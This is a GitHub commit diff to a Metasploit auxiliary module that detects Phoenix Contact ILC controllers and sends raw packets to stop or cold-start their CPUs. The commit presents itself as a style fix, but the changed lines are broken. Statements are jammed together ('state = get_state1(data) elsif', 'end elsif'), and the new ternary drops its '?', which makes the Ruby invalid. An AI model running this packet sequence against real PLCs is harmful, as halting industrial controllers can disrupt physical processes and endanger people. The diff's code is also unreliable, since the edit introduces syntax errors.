Update phoenix_command.rb

Style fix: replace "ractionport == nil ?" with "ractionport.nil?"

Is it OK? Did not find time to install and run rubocop ...
bug/bundler_fix
Tijl Deneut 2016-11-06 21:15:31 +01:00 committed by GitHub
parent 4ea9214466
commit 1b4409f950
1 changed files with 5 additions and 10 deletions

View File

@ -138,7 +138,6 @@ class MetasploitModule < Msf::Auxiliary
end
state
end
def get_state2(data)
if data[16..17] == '04'
state = 'STOP'
@ -150,7 +149,6 @@ class MetasploitModule < Msf::Auxiliary
end
state
end
def get_cpu(rhost, rport, devicetype)
connect(true, 'RHOST' => rhost, 'RPORT' => rport)
state = 'unknown'
@ -160,8 +158,7 @@ class MetasploitModule < Msf::Auxiliary
send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00")
## Query packet
data = send_recv_once("\x01\x00\x02\x00\x00\x00\x08\x00\x03\x00\x03\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x40\x0b\x40")
state = get_state1(data)
elsif devicetype == '39x'
state = get_state1(data) elsif devicetype == '39x'
init_phase2
data = send_recv_once("\xcc\x01\x00\x0f@\x07\x00\x00\xea\xfa")
state = get_state2(data)
@ -171,8 +168,7 @@ class MetasploitModule < Msf::Auxiliary
state
end
def set_cpu(rhost, rport, action, state, devicetype)
connect(true, 'RHOST' => rhost, 'RPORT' => rport)
def set_cpu(rhost, rport, action, state, devicetype) connect(true, 'RHOST' => rhost, 'RPORT' => rport)
if devicetype == '15x'
init_phase1 ## Several packets (21)
send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00")
@ -182,8 +178,7 @@ class MetasploitModule < Msf::Auxiliary
else
print_status('--> Sending STOP now')
send_recv_once("\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x07\x00\x00\x00\x00\x00")
end
elsif devicetype == '39x'
end elsif devicetype == '39x'
init_phase2 ## Several packets (6)
if action == 'START' || (action == 'REV' && state == 'STOP')
print_status('--> Sending COLD start now')
@ -211,11 +206,11 @@ class MetasploitModule < Msf::Auxiliary
if device.start_with?('ILC 15', 'ILC 17')
devicetype = '15x'
print_status('--> Detected 15x/17x series, getting current CPU state:')
ractionport == nil ? (rport = 41100) : (rport = ractionport)
ractionport.nil? (rport = 41100) : (rport = ractionport)
elsif device.start_with?('ILC 39')
devicetype = '39x'
print_status('--> Detected 39x series, getting current CPU state:')
ractionport == nil ? (rport = 20547) : (rport = ractionport)
ractionport.nil? (rport = 20547) : (rport = ractionport)
else
print_error('Only ILC and (some) RFC devices are supported.')
return